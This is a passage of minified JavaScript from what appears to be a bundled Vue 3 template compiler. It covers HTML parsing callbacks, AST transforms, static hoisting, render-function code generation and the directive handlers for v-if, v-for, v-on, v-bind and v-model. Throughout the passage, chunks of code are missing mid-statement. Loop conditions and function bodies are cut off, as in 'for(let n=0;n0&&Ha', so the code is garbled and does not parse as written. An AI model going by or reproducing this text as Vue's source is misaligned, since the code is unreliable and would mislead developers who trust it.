0}},onopentagend(e){uf(e)},onclosetag(e,t){const s=ps(e,t);if(!vt.isVoidTag(s)){let a=!1;for(let n=0;n0&&Ha(24,Nt[0].loc.start.offset);for(let l=0;l<=n;l++){const o=Nt.shift();sr(o,t,l(a.type===7?a.rawName:a.name)===s)&&Ha(2,t)},onattribend(e,t){if(_s&&dt){if(Jn(dt.loc,t),e!==0)if(Fs.includes("&")&&(Fs=vt.decodeEntities(Fs,!0)),dt.type===6)dt.name==="class"&&(Fs=Kh(Fs).trim()),e===1&&!Fs&&Ha(13,t),dt.value={type:2,content:Fs,loc:e===1?Jt(Va,Vn):Jt(Va-1,Vn+1)},Vt.inSFCRoot&&_s.tag==="template"&&dt.name==="lang"&&Fs&&Fs!=="html"&&Vt.enterRCDATA(Rr("n.content==="sync"))>-1&&to("COMPILER_V_BIND_SYNC",vt,dt.loc,dt.arg.loc.source)&&(dt.name="model",dt.modifiers.splice(a,1))}(dt.type!==7||dt.name!=="pre")&&_s.props.push(dt)}Fs="",Va=Vn=-1},oncomment(e,t){vt.comments&&Td({type:3,content:ps(e,t),loc:Jt(e-4,t+3)})},onend(){const e=an.length;for(let t=0;t{const h=t.start.offset+p,y=h+u.length;return ar(u,!1,Jt(h,y),0,m?1:0)},o={source:l(i.trim(),s.indexOf(i,n.length)),value:void 0,key:void 0,index:void 0,finalized:!1};let r=n.trim().replace(Iw,"").trim();const c=n.indexOf(r),d=r.match(df);if(d){r=r.replace(df,"").trim();const u=d[1].trim();let p;if(u&&(p=s.indexOf(u,c+r.length),o.key=l(u,p,!0)),d[2]){const m=d[2].trim();m&&(o.index=l(m,s.indexOf(m,o.key?p+u.length:c+r.length),!0))}}return r&&(o.value=l(r,c,!0)),o}function ps(e,t){return an.slice(e,t)}function uf(e){Vt.inSFCRoot&&(_s.innerLoc=Jt(e+1,e+1)),Td(_s);const{tag:t,ns:s}=_s;s===0&&vt.isPreTag(t)&&Bu++,vt.isVoidTag(t)?sr(_s,e):(Nt.unshift(_s),(s===1||s===2)&&(Vt.inXML=!0)),_s=null}function Fo(e,t,s){{const i=Nt[0]&&Nt[0].tag;i!=="script"&&i!=="style"&&e.includes("&")&&(e=vt.decodeEntities(e,!1))}const a=Nt[0]||ao,n=a.children[a.children.length-1];n&&n.type===2?(n.content+=e,Jn(n.loc,s)):a.children.push({type:2,content:e,loc:Jt(t,s)})}function sr(e,t,s=!1){s?Jn(e.loc,Gh(t,60)):Jn(e.loc,Lw(t,62)+1),Vt.inSFCRoot&&(e.children.length?e.innerLoc.end=lt({},e.children[e.children.length-1].loc.end):e.innerLoc.end=lt({},e.innerLoc.start),e.innerLoc.source=ps(e.innerLoc.start.offset,e.innerLoc.end.offset));const{tag:a,ns:n,children:i}=e;if(An||(a==="slot"?e.tagType=2:pf(e)?e.tagType=3:Mw(e)&&(e.tagType=1)),Vt.inRCDATA||(e.children=Wh(i)),n===0&&vt.isIgnoreNewlineTag(a)){const l=i[0];l&&l.type===2&&(l.content=l.content.replace(/^\r?\n/,""))}n===0&&vt.isPreTag(a)&&Bu--,Cd===e&&(An=Vt.inVPre=!1,Cd=null),Vt.inXML&&(Nt[0]?Nt[0].ns:vt.ns)===0&&(Vt.inXML=!1);{const l=e.props;if(!Vt.inSFCRoot&&ti("COMPILER_NATIVE_TEMPLATE",vt)&&e.tag==="template"&&!pf(e)){const r=Nt[0]||ao,c=r.children.indexOf(e);r.children.splice(c,1,...e.children)}const o=l.find(r=>r.type===6&&r.name==="inline-template");o&&to("COMPILER_INLINE_TEMPLATE",vt,o.loc)&&e.children.length&&(o.value={type:2,content:ps(e.children[0].loc.start.offset,e.children[e.children.length-1].loc.end.offset),loc:o.loc})}}function Lw(e,t){let s=e;for(;an.charCodeAt(s)!==t&&s=0;)s--;return s}const Nw=new Set(["if","else","else-if","for","slot"]);function pf({tag:e,props:t}){if(e==="template"){for(let s=0;s64&&e<91}const Pw=/\r\n/g;function Wh(e){const t=vt.whitespace!=="preserve";let s=!1;for(let a=0;as.type!==3);return t.length===1&&t[0].type===1&&!Or(t[0])?t[0]:null}function nr(e,t,s,a=!1,n=!1){const{children:i}=e,l=[];for(let d=0;d0){if(p>=2){u.codegenNode.patchFlag=-1,l.push(u);continue}}else{const m=u.codegenNode;if(m.type===13){const h=m.patchFlag;if((h===void 0||h===512||h===1)&&Qh(u,s)>=2){const y=Yh(u);y&&(m.props=s.hoist(y))}m.dynamicProps&&(m.dynamicProps=s.hoist(m.dynamicProps))}}}else if(u.type===12&&(a?0:Qs(u,s))>=2){u.codegenNode.type===14&&u.codegenNode.arguments.length>0&&u.codegenNode.arguments.push("-1"),l.push(u);continue}if(u.type===1){const p=u.tagType===1;p&&s.scopes.vSlot++,nr(u,e,s,!1,n),p&&s.scopes.vSlot--}else if(u.type===11)nr(u,e,s,u.children.length===1,!0);else if(u.type===9)for(let p=0;pm.key===u||m.key.content===u);return p&&p.value}}l.length&&s.transformHoist&&s.transformHoist(i,s,e)}function Qs(e,t){const{constantCache:s}=t;switch(e.type){case 1:if(e.tagType!==0)return 0;const a=s.get(e);if(a!==void 0)return a;const n=e.codegenNode;if(n.type!==13||n.isBlock&&e.tag!=="svg"&&e.tag!=="foreignObject"&&e.tag!=="math")return 0;if(n.patchFlag===void 0){let l=3;const o=Qh(e,t);if(o===0)return s.set(e,0),0;o1)for(let r=0;rO&&(L.childIndex--,L.onNodeRemoved()),L.parent.children.splice(O,1)},onNodeRemoved:vs,addIdentifiers(E){},removeIdentifiers(E){},hoist(E){Ze(E)&&(E=tt(E)),L.hoists.push(E);const F=tt(`_hoisted_${L.hoists.length}`,!1,E.loc,2);return F.hoisted=E,F},cache(E,F=!1,O=!1){const I=vw(L.cached.length,E,F,O);return L.cached.push(I),I}};return L.filters=new Set,L}function Vw(e,t){const s=qw(e,t);lc(e,s),t.hoistStatic&&Hw(e,s),t.ssr||Gw(e,s),e.helpers=new Set([...s.helpers.keys()]),e.components=[...s.components],e.directives=[...s.directives],e.imports=s.imports,e.hoists=s.hoists,e.temps=s.temps,e.cached=s.cached,e.transformed=!0,e.filters=[...s.filters]}function Gw(e,t){const{helper:s}=t,{children:a}=e;if(a.length===1){const n=Jh(e);if(n&&n.codegenNode){const i=n.codegenNode;i.type===13&&Du(i,t),e.codegenNode=i}else e.codegenNode=a[0]}else if(a.length>1){let n=64;e.codegenNode=eo(t,s(Yl),void 0,e.children,n,void 0,void 0,!0,void 0,!1)}}function Ww(e,t){let s=0;const a=()=>{s--};for(;sa===e:a=>e.test(a);return(a,n)=>{if(a.type===1){const{props:i}=a;if(a.tagType===3&&i.some(Tw))return;const l=[];for(let o=0;o`${Wi[e]}: _${Wi[e]}`;function Kw(e,{mode:t="function",prefixIdentifiers:s=t==="module",sourceMap:a=!1,filename:n="template.vue.html",scopeId:i=null,optimizeImports:l=!1,runtimeGlobalName:o="Vue",runtimeModuleName:r="vue",ssrRuntimeModuleName:c="vue/server-renderer",ssr:d=!1,isTS:u=!1,inSSR:p=!1}){const m={mode:t,prefixIdentifiers:s,sourceMap:a,filename:n,scopeId:i,optimizeImports:l,runtimeGlobalName:o,runtimeModuleName:r,ssrRuntimeModuleName:c,ssr:d,isTS:u,inSSR:p,source:e.source,code:"",column:1,line:1,offset:0,indentLevel:0,pure:!1,map:void 0,helper(y){return`_${Wi[y]}`},push(y,k=-2,A){m.code+=y},indent(){h(++m.indentLevel)},deindent(y=!1){y?--m.indentLevel:h(--m.indentLevel)},newline(){h(m.indentLevel)}};function h(y){m.push(` -`+" ".repeat(y),0)}return m}function Jw(e,t={}){const s=Kw(e,t);t.onContextCreated&&t.onContextCreated(s);const{mode:a,push:n,prefixIdentifiers:i,indent:l,deindent:o,newline:r,scopeId:c,ssr:d}=s,u=Array.from(e.helpers),p=u.length>0,m=!i&&a!=="module";Zw(e,s);const y=d?"ssrRender":"render",A=(d?["_ctx","_push","_parent","_attrs"]:["_ctx","_cache"]).join(", ");if(n(`function ${y}(${A}) {`),l(),m&&(n("with (_ctx) {"),l(),p&&(n(`const { ${u.map(eg).join(", ")} } = _Vue -`,-1),r())),e.components.length&&(Hc(e.components,"component",s),(e.directives.length||e.temps>0)&&r()),e.directives.length&&(Hc(e.directives,"directive",s),e.temps>0&&r()),e.filters&&e.filters.length&&(r(),Hc(e.filters,"filter",s),r()),e.temps>0){n("let ");for(let g=0;g0?", ":""}_temp${g}`)}return(e.components.length||e.directives.length||e.temps)&&(n(` -`,0),r()),d||n("return "),e.codegenNode?Ss(e.codegenNode,s):n("null"),m&&(o(),n("}")),o(),n("}"),{ast:e,code:s.code,preamble:"",map:s.map?s.map.toJSON():void 0}}function Zw(e,t){const{ssr:s,prefixIdentifiers:a,push:n,newline:i,runtimeModuleName:l,runtimeGlobalName:o,ssrRuntimeModuleName:r}=t,c=o,d=Array.from(e.helpers);if(d.length>0&&(n(`const _Vue = ${c} -`,-1),e.hoists.length)){const u=[_u,wu,ho,ku,Nh].filter(p=>d.includes(p)).map(eg).join(", ");n(`const { ${u} } = _Vue -`,-1)}Qw(e.hoists,t),i(),n("return ")}function Hc(e,t,{helper:s,push:a,newline:n,isTS:i}){const l=s(t==="filter"?Eu:t==="component"?Su:Tu);for(let o=0;o3||!1;t.push("["),s&&t.indent(),bo(e,t,s),s&&t.deindent(),t.push("]")}function bo(e,t,s=!1,a=!0){const{push:n,newline:i}=t;for(let l=0;ls||"null")}function nk(e,t){const{push:s,helper:a,pure:n}=t,i=Ze(e.callee)?e.callee:a(e.callee);n&&s(oc),s(i+"(",-2,e),bo(e.arguments,t),s(")")}function ik(e,t){const{push:s,indent:a,deindent:n,newline:i}=t,{properties:l}=e;if(!l.length){s("{}",-2,e);return}const o=l.length>1||!1;s(o?"{":"{ "),o&&a();for(let r=0;r "),(r||o)&&(s("{"),a()),l?(r&&s("return "),Me(l)?Uu(l,t):Ss(l,t)):o&&Ss(o,t),(r||o)&&(n(),s("}")),c&&(e.isNonScopedSlot&&s(", undefined, true"),s(")"))}function rk(e,t){const{test:s,consequent:a,alternate:n,newline:i}=e,{push:l,indent:o,deindent:r,newline:c}=t;if(s.type===4){const u=!$u(s.content);u&&l("("),tg(s,t),u&&l(")")}else l("("),Ss(s,t),l(")");i&&o(),t.indentLevel++,i||l(" "),l("? "),Ss(a,t),t.indentLevel--,i&&c(),i||l(" "),l(": ");const d=n.type===19;d||t.indentLevel++,Ss(n,t),d||t.indentLevel--,i&&r(!0)}function ck(e,t){const{push:s,helper:a,indent:n,deindent:i,newline:l}=t,{needPauseTracking:o,needArraySpread:r}=e;r&&s("[...("),s(`_cache[${e.index}] || (`),o&&(n(),s(`${a(Ar)}(-1`),e.inVOnce&&s(", true"),s("),"),l(),s("(")),s(`_cache[${e.index}] = `),Ss(e.value,t),o&&(s(`).cacheIndex = ${e.index},`),l(),s(`${a(Ar)}(1),`),l(),s(`_cache[${e.index}]`),i()),s(")"),r&&s(")]")}new RegExp("\\b"+"arguments,await,break,case,catch,class,const,continue,debugger,default,delete,do,else,export,extends,finally,for,function,if,import,let,new,return,super,switch,throw,try,var,void,while,with,yield".split(",").join("\\b|\\b")+"\\b");const dk=Xh(/^(?:if|else|else-if)$/,(e,t,s)=>uk(e,t,s,(a,n,i)=>{const l=s.parent.children;let o=l.indexOf(a),r=0;for(;o-->=0;){const c=l[o];c&&c.type===9&&(r+=c.branches.length)}return()=>{if(i)a.codegenNode=mf(n,r,s);else{const c=pk(a.codegenNode);c.alternate=mf(n,r+a.branches.length-1,s)}}}));function uk(e,t,s,a){if(t.name!=="else"&&(!t.exp||!t.exp.content.trim())){const n=t.exp?t.exp.loc:e.loc;s.onError(Mt(28,t.loc)),t.exp=tt("true",!1,n)}if(t.name==="if"){const n=ff(e,t),i={type:9,loc:Fw(e.loc),branches:[n]};if(s.replaceNode(i),a)return a(i,n,!0)}else{const n=s.parent.children;let i=n.indexOf(e);for(;i-->=-1;){const l=n[i];if(l&&qh(l)){s.removeNode(l);continue}if(l&&l.type===9){(t.name==="else-if"||t.name==="else")&&l.branches[l.branches.length-1].condition===void 0&&s.onError(Mt(30,e.loc)),s.removeNode();const o=ff(e,t);l.branches.push(o);const r=a&&a(l,o,!1);lc(o,s),r&&r(),s.currentNode=null}else s.onError(Mt(30,e.loc));break}}}function ff(e,t){const s=e.tagType===3;return{type:10,loc:e.loc,condition:t.name==="else"?void 0:t.exp,children:s&&!la(e,"for")?e.children:[e],userKey:ic(e,"key"),isTemplateIf:s}}function mf(e,t,s){return e.condition?Sd(e.condition,vf(e,t,s),ns(s.helper(ho),['""',"true"])):vf(e,t,s)}function vf(e,t,s){const{helper:a}=s,n=Yt("key",tt(`${t}`,!1,ea,2)),{children:i}=e,l=i[0];if(i.length!==1||l.type!==1)if(i.length===1&&l.type===11){const r=l.codegenNode;return Lr(r,n,s),r}else return eo(s,a(Yl),oa([n]),i,64,void 0,void 0,!0,!1,!1,e.loc);else{const r=l.codegenNode,c=Aw(r);return c.type===13&&Du(c,s),Lr(c,n,s),r}}function pk(e){for(;;)if(e.type===19)if(e.alternate.type===19)e=e.alternate;else return e;else e.type===20&&(e=e.value)}const fk=Xh("for",(e,t,s)=>{const{helper:a,removeHelper:n}=s;return mk(e,t,s,i=>{const l=ns(a(Ru),[i.source]),o=Ir(e),r=la(e,"memo"),c=ic(e,"key",!1,!0);c&&c.type;let d=c&&(c.type===6?c.value?tt(c.value.content,!0):void 0:c.exp);const u=d?Yt("key",d):null,p=i.source.type===4&&i.source.constType>0,m=p?64:c?128:256;return i.codegenNode=eo(s,a(Yl),void 0,l,m,void 0,void 0,!0,!p,!1,e.loc),()=>{let h;const{children:y}=i,k=y.length!==1||y[0].type!==1,A=Or(e)?e:o&&e.children.length===1&&Or(e.children[0])?e.children[0]:null;if(A?(h=A.codegenNode,o&&u&&Lr(h,u,s)):k?h=eo(s,a(Yl),u?oa([u]):void 0,e.children,64,void 0,void 0,!0,void 0,!1):(h=y[0].codegenNode,o&&u&&Lr(h,u,s),h.isBlock!==!p&&(h.isBlock?(n(ni),n(Zi(s.inSSR,h.isComponent))):n(Ji(s.inSSR,h.isComponent))),h.isBlock=!p,h.isBlock?(a(ni),a(Zi(s.inSSR,h.isComponent))):a(Ji(s.inSSR,h.isComponent))),r){const g=Ki(Ed(i.parseResult,[tt("_cached")]));g.body=hw([va(["const _memo = (",r.exp,")"]),va(["if (_cached && _cached.el",...d?[" && _cached.key === ",d]:[],` && ${s.helperString(Ph)}(_cached, _memo)) return _cached`]),va(["const _item = ",h]),tt("_item.memo = _memo"),tt("return _item")]),l.arguments.push(g,tt("_cache"),tt(String(s.cached.length))),s.cached.push(null)}else l.arguments.push(Ki(Ed(i.parseResult),h,!0))}})});function mk(e,t,s,a){if(!t.exp){s.onError(Mt(31,t.loc));return}const n=t.forParseResult;if(!n){s.onError(Mt(32,t.loc));return}ag(n);const{addIdentifiers:i,removeIdentifiers:l,scopes:o}=s,{source:r,value:c,key:d,index:u}=n,p={type:11,loc:t.loc,source:r,valueAlias:c,keyAlias:d,objectIndexAlias:u,parseResult:n,children:Ir(e)?e.children:[e]};s.replaceNode(p),o.vFor++;const m=a&&a(p);return()=>{o.vFor--,m&&m()}}function ag(e,t){e.finalized||(e.finalized=!0)}function Ed({value:e,key:t,index:s},a=[]){return vk([e,t,s,...a])}function vk(e){let t=e.length;for(;t--&&!e[t];);return e.slice(0,t+1).map((s,a)=>s||tt("_".repeat(a+1),!1))}const hf=tt("undefined",!1),hk=(e,t)=>{if(e.type===1&&(e.tagType===1||e.tagType===3)){const s=la(e,"slot");if(s)return s.exp,t.scopes.vSlot++,()=>{t.scopes.vSlot--}}},gk=(e,t,s,a)=>Ki(e,s,!1,!0,s.length?s[0].loc:a);function bk(e,t,s=gk){t.helper(Nu);const{children:a,loc:n}=e,i=[],l=[];let o=t.scopes.vSlot>0||t.scopes.vFor>0;const r=la(e,"slot",!0);if(r){const{arg:k,exp:A}=r;k&&!js(k)&&(o=!0),i.push(Yt(k||tt("default",!0),s(A,void 0,a,n)))}let c=!1,d=!1;const u=[],p=new Set;let m=0;for(let k=0;k{const b=s(A,void 0,g,n);return t.compatConfig&&(b.isNonScopedSlot=!0),Yt("default",b)};c?u.length&&!u.every(Fu)&&(d?t.onError(Mt(39,u[0].loc)):i.push(k(void 0,u))):i.push(k(void 0,a))}const h=o?2:ir(e.children)?3:1;let y=oa(i.concat(Yt("_",tt(h+"",!1))),n);return l.length&&(y=ns(t.helper(Dh),[y,ei(l)])),{slots:y,hasDynamicSlots:o}}function Bo(e,t,s){const a=[Yt("name",e),Yt("fn",t)];return s!=null&&a.push(Yt("key",tt(String(s),!0))),oa(a)}function ir(e){for(let t=0;tfunction(){if(e=t.currentNode,!(e.type===1&&(e.tagType===0||e.tagType===1)))return;const{tag:a,props:n}=e,i=e.tagType===1;let l=i?xk(e,t):`"${a}"`;const o=ht(l)&&l.callee===Cu;let r,c,d=0,u,p,m,h=o||l===$l||l===xu||!i&&(a==="svg"||a==="foreignObject"||a==="math");if(n.length>0){const y=ig(e,t,void 0,i,o);r=y.props,d=y.patchFlag,p=y.dynamicPropNames;const k=y.directives;m=k&&k.length?ei(k.map(A=>wk(A,t))):void 0,y.shouldUseBlock&&(h=!0)}if(e.children.length>0)if(l===Tr&&(h=!0,d|=1024),i&&l!==$l&&l!==Tr){const{slots:k,hasDynamicSlots:A}=bk(e,t);c=k,A&&(d|=1024)}else if(e.children.length===1&&l!==$l){const k=e.children[0],A=k.type,g=A===5||A===8;g&&Qs(k,t)===0&&(d|=1),g||A===2?c=k:c=e.children}else c=e.children;p&&p.length&&(u=kk(p)),e.codegenNode=eo(t,l,r,c,d===0?void 0:d,u,m,!!h,!1,i,e.loc)};function xk(e,t,s=!1){let{tag:a}=e;const n=Ad(a),i=ic(e,"is",!1,!0);if(i)if(n||ti("COMPILER_IS_ON_ELEMENT",t)){let o;if(i.type===6?o=i.value&&tt(i.value.content,!0):(o=i.exp,o||(o=tt("is",!1,i.arg.loc))),o)return ns(t.helper(Cu),[o])}else i.type===6&&i.value.content.startsWith("vue:")&&(a=i.value.content.slice(4));const l=Fh(a)||t.isBuiltInComponent(a);return l?(s||t.helper(l),l):(t.helper(Su),t.components.add(a),so(a,"component"))}function ig(e,t,s=e.props,a,n,i=!1){const{tag:l,loc:o,children:r}=e;let c=[];const d=[],u=[],p=r.length>0;let m=!1,h=0,y=!1,k=!1,A=!1,g=!1,b=!1,x=!1;const w=[],_=F=>{c.length&&(d.push(oa(gf(c),o)),c=[]),F&&d.push(F)},T=()=>{t.scopes.vFor>0&&c.push(Yt(tt("ref_for",!0),tt("true")))},L=({key:F,value:O})=>{if(js(F)){const I=F.content,H=li(I);if(H&&(!a||n)&&I.toLowerCase()!=="onclick"&&I!=="onUpdate:modelValue"&&!en(I)&&(g=!0),H&&en(I)&&(x=!0),H&&O.type===14&&(O=O.arguments[0]),O.type===20||(O.type===4||O.type===8)&&Qs(O,t)>0)return;I==="ref"?y=!0:I==="class"?k=!0:I==="style"?A=!0:I!=="key"&&!w.includes(I)&&w.push(I),a&&(I==="class"||I==="style")&&!w.includes(I)&&w.push(I)}else b=!0};for(let F=0;Fce.content==="prop")&&(h|=32);const re=t.directiveTransforms[I];if(re){const{props:ce,needRuntime:Z}=re(O,e,t);!i&&ce.forEach(L),$&&H&&!js(H)?_(oa(ce,o)):c.push(...ce),Z&&(u.push(O),Cs(Z)&&ng.set(O,Z))}else fy(I)||(u.push(O),p&&(m=!0))}}let E;if(d.length?(_(),d.length>1?E=ns(t.helper(Er),d,o):E=d[0]):c.length&&(E=oa(gf(c),o)),b?h|=16:(k&&!a&&(h|=2),A&&!a&&(h|=4),w.length&&(h|=8),g&&(h|=32)),!m&&(h===0||h===32)&&(y||x||u.length>0)&&(h|=512),!t.inSSR&&E)switch(E.type){case 15:let F=-1,O=-1,I=!1;for(let ee=0;eeYt(l,i)),n))}return ei(s,e.loc)}function kk(e){let t="[";for(let s=0,a=e.length;s{if(Or(e)){const{children:s,loc:a}=e,{slotName:n,slotProps:i}=Ck(e,t),l=[t.prefixIdentifiers?"_ctx.$slots":"$slots",n,"{}","undefined","true"];let o=2;i&&(l[2]=i,o=3),s.length&&(l[3]=Ki([],s,!1,!1,a),o=4),t.scopeId&&!t.slotted&&(o=5),l.splice(o),e.codegenNode=ns(t.helper(Mh),l,a)}};function Ck(e,t){let s='"default"',a;const n=[];for(let i=0;i0){const{props:i,directives:l}=ig(e,t,n,!1,!1);a=i,l.length&&t.onError(Mt(36,l[0].loc))}return{slotName:s,slotProps:a}}const lg=(e,t,s,a)=>{const{loc:n,modifiers:i,arg:l}=e;!e.exp&&!i.length&&s.onError(Mt(35,n));let o;if(l.type===4)if(l.isStatic){let u=l.content;u.startsWith("vue:")&&(u=`vnode-${u.slice(4)}`);const p=t.tagType!==0||u.startsWith("vnode")||!/[A-Z]/.test(u)?Mi(Tt(u)):`on:${u}`;o=tt(p,!0,l.loc)}else o=va([`${s.helperString(kd)}(`,l,")"]);else o=l,o.children.unshift(`${s.helperString(kd)}(`),o.children.push(")");let r=e.exp;r&&!r.content.trim()&&(r=void 0);let c=s.cacheHandlers&&!r&&!s.inVOnce;if(r){const u=zh(r),p=!(u||Sw(r)),m=r.content.includes(";");(p||c&&u)&&(r=va([`${p?"$event":"(...args)"} => ${m?"{":"("}`,r,m?"}":")"]))}let d={props:[Yt(o,r||tt("() => {}",!1,n))]};return a&&(d=a(d)),c&&(d.props[0].value=s.cache(d.props[0].value)),d.props.forEach(u=>u.key.isHandlerKey=!0),d},Tk=(e,t,s)=>{const{modifiers:a,loc:n}=e,i=e.arg;let{exp:l}=e;return l&&l.type===4&&!l.content.trim()&&(l=void 0),i.type!==4?(i.children.unshift("("),i.children.push(') || ""')):i.isStatic||(i.content=i.content?`${i.content} || ""`:'""'),a.some(o=>o.content==="camel")&&(i.type===4?i.isStatic?i.content=Tt(i.content):i.content=`${s.helperString(wd)}(${i.content})`:(i.children.unshift(`${s.helperString(wd)}(`),i.children.push(")"))),s.inSSR||(a.some(o=>o.content==="prop")&&bf(i,"."),a.some(o=>o.content==="attr")&&bf(i,"^")),{props:[Yt(i,l)]}},bf=(e,t)=>{e.type===4?e.isStatic?e.content=t+e.content:e.content=`\`${t}\${${e.content}}\``:(e.children.unshift(`'${t}' + (`),e.children.push(")"))},Ek=(e,t)=>{if(e.type===0||e.type===1||e.type===11||e.type===10)return()=>{const s=e.children;let a,n=!1;for(let i=0;ii.type===7&&!t.directiveTransforms[i.name])&&e.tag!=="template")))for(let i=0;i{if(e.type===1&&la(e,"once",!0))return yf.has(e)||t.inVOnce||t.inSSR?void 0:(yf.add(e),t.inVOnce=!0,t.helper(Ar),()=>{t.inVOnce=!1;const s=t.currentNode;s.codegenNode&&(s.codegenNode=t.cache(s.codegenNode,!0,!0))})},og=(e,t,s)=>{const{exp:a,arg:n}=e;if(!a)return s.onError(Mt(41,e.loc)),vl();const i=a.loc.source.trim(),l=a.type===4?a.content:i,o=s.bindingMetadata[i];if(o==="props"||o==="props-aliased")return s.onError(Mt(44,a.loc)),vl();if(o==="literal-const"||o==="setup-const")return s.onError(Mt(45,a.loc)),vl();if(!l.trim()||!zh(a))return s.onError(Mt(42,a.loc)),vl();const r=n||tt("modelValue",!0),c=n?js(n)?`onUpdate:${Tt(n.content)}`:va(['"onUpdate:" + ',n]):"onUpdate:modelValue";let d;const u=s.isTS?"($event: any)":"$event";d=va([`${u} => ((`,a,") = $event)"]);const p=[Yt(r,e.exp),Yt(c,d)];if(e.modifiers.length&&t.tagType===1){const m=e.modifiers.map(y=>y.content).map(y=>($u(y)?y:JSON.stringify(y))+": true").join(", "),h=n?js(n)?`${n.content}Modifiers`:va([n,' + "Modifiers"']):"modelModifiers";p.push(Yt(h,tt(`{ ${m} }`,!1,e.loc,2)))}return vl(p)};function vl(e=[]){return{props:e}}const Rk=/[\w).+\-_$\]]/,Ik=(e,t)=>{ti("COMPILER_FILTERS",t)&&(e.type===5?Nr(e.content,t):e.type===1&&e.props.forEach(s=>{s.type===7&&s.name!=="for"&&s.exp&&Nr(s.exp,t)}))};function Nr(e,t){if(e.type===4)xf(e,t);else for(let s=0;s=0&&(g=s.charAt(A),g===" ");A--);(!g||!Rk.test(g))&&(l=!0)}}h===void 0?h=s.slice(0,m).trim():d!==0&&k();function k(){y.push(s.slice(d,m).trim()),d=m+1}if(y.length){for(m=0;m{if(e.type===1){const s=la(e,"memo");return!s||_f.has(e)||t.inSSR?void 0:(_f.add(e),()=>{const a=e.codegenNode||t.currentNode.codegenNode;a&&a.type===13&&(e.tagType!==1&&Du(a,t),e.codegenNode=ns(t.helper(Mu),[s.exp,Ki(void 0,a),"_cache",String(t.cached.length)]),t.cached.push(null))})}},Nk=(e,t)=>{if(e.type===1){for(const s of e.props)if(s.type===7&&s.name==="bind"&&(!s.exp||s.exp.type===4&&!s.exp.content.trim())&&s.arg){const a=s.arg;if(a.type!==4||!a.isStatic)t.onError(Mt(53,a.loc)),s.exp=tt("",!0,a.loc);else{const n=Tt(a.content);(Bh.test(n[0])||n[0]==="-")&&(s.exp=tt(n,!1,a.loc))}}}};function Mk(e){return[[Nk,Ak,dk,Lk,fk,Ik,Sk,yk,hk,Ek],{on:lg,bind:Tk,model:og}]}function Dk(e,t={}){const s=t.onError||Pu,a=t.mode==="module";t.prefixIdentifiers===!0?s(Mt(48)):a&&s(Mt(49));const n=!1;t.cacheHandlers&&s(Mt(50)),t.scopeId&&!a&&s(Mt(51));const i=lt({},t,{prefixIdentifiers:n}),l=Ze(e)?zw(e,i):e,[o,r]=Mk();return Vw(l,lt({},i,{nodeTransforms:[...o,...t.nodeTransforms||[]],directiveTransforms:lt({},r,t.directiveTransforms||{})})),Jw(l,i)}const Pk=()=>({props:[]});/** -* @vue/compiler-dom v3.5.38 -* (c) 2018-present Yuxi (Evan) You and Vue contributors -* @license MIT -**/const rg=Symbol(""),cg=Symbol(""),dg=Symbol(""),ug=Symbol(""),Rd=Symbol(""),pg=Symbol(""),fg=Symbol(""),mg=Symbol(""),vg=Symbol(""),hg=Symbol("");fw({[rg]:"vModelRadio",[cg]:"vModelCheckbox",[dg]:"vModelText",[ug]:"vModelSelect",[Rd]:"vModelDynamic",[pg]:"withModifiers",[fg]:"withKeys",[mg]:"vShow",[vg]:"Transition",[hg]:"TransitionGroup"});let _i;function $k(e,t=!1){return _i||(_i=document.createElement("div")),t?(_i.innerHTML=`
`,_i.children[0].getAttribute("foo")):(_i.innerHTML=e,_i.textContent)}const Fk={parseMode:"html",isVoidTag:Iy,isNativeTag:e=>Ey(e)||Ay(e)||Ry(e),isPreTag:e=>e==="pre",isIgnoreNewlineTag:e=>e==="pre"||e==="textarea",decodeEntities:$k,isBuiltInComponent:e=>{if(e==="Transition"||e==="transition")return vg;if(e==="TransitionGroup"||e==="transition-group")return hg},getNamespace(e,t,s){let a=t?t.ns:s;if(t&&a===2)if(t.tag==="annotation-xml"){if(e==="svg")return 1;t.props.some(n=>n.type===6&&n.name==="encoding"&&n.value!=null&&(n.value.content==="text/html"||n.value.content==="application/xhtml+xml"))&&(a=0)}else/^m(?:[ions]|text)$/.test(t.tag)&&e!=="mglyph"&&e!=="malignmark"&&(a=0);else t&&a===1&&(t.tag==="foreignObject"||t.tag==="desc"||t.tag==="title")&&(a=0);if(a===0){if(e==="svg")return 1;if(e==="math")return 2}return a}},Bk=e=>{e.type===1&&e.props.forEach((t,s)=>{t.type===6&&t.name==="style"&&t.value&&(e.props[s]={type:7,name:"bind",arg:tt("style",!0,t.loc),exp:Uk(t.value.content,t.loc),modifiers:[],loc:t.loc})})},Uk=(e,t)=>{const s=Rm(e);return tt(JSON.stringify(s),!1,t,3)};function Ln(e,t){return Mt(e,t)}const zk=(e,t,s)=>{const{exp:a,loc:n}=e;return a||s.onError(Ln(54,n)),t.children.length&&(s.onError(Ln(55,n)),t.children.length=0),{props:[Yt(tt("innerHTML",!0,n),a||tt("",!0))]}},Hk=(e,t,s)=>{const{exp:a,loc:n}=e;return a||s.onError(Ln(56,n)),t.children.length&&(s.onError(Ln(57,n)),t.children.length=0),{props:[Yt(tt("textContent",!0),a?Qs(a,s)>0?a:ns(s.helperString(nc),[a],n):tt("",!0))]}},jk=(e,t,s)=>{const a=og(e,t,s);if(!a.props.length||t.tagType===1)return a;e.arg&&s.onError(Ln(59,e.arg.loc));const{tag:n}=t,i=s.isCustomElement(n);if(n==="input"||n==="textarea"||n==="select"||i){let l=dg,o=!1;if(n==="input"||i){const r=ic(t,"type");if(r){if(r.type===7)l=Rd;else if(r.value)switch(r.value.content){case"radio":l=rg;break;case"checkbox":l=cg;break;case"file":o=!0,s.onError(Ln(60,e.loc));break}}else Cw(t)&&(l=Rd)}else n==="select"&&(l=ug);o||(a.needRuntime=s.helper(l))}else s.onError(Ln(58,e.loc));return a.props=a.props.filter(l=>!(l.key.type===4&&l.key.content==="modelValue")),a},qk=Xs("passive,once,capture"),Vk=Xs("stop,prevent,self,ctrl,shift,alt,meta,exact,middle"),Gk=Xs("left,right"),gg=Xs("onkeyup,onkeydown,onkeypress"),Wk=(e,t,s,a)=>{const n=[],i=[],l=[];for(let o=0;ojs(e)&&e.content.toLowerCase()==="onclick"?tt(t,!0):e.type!==4?va(["(",e,`) === "onClick" ? "${t}" : (`,e,")"]):e,Kk=(e,t,s)=>lg(e,t,s,a=>{const{modifiers:n}=e;if(!n.length)return 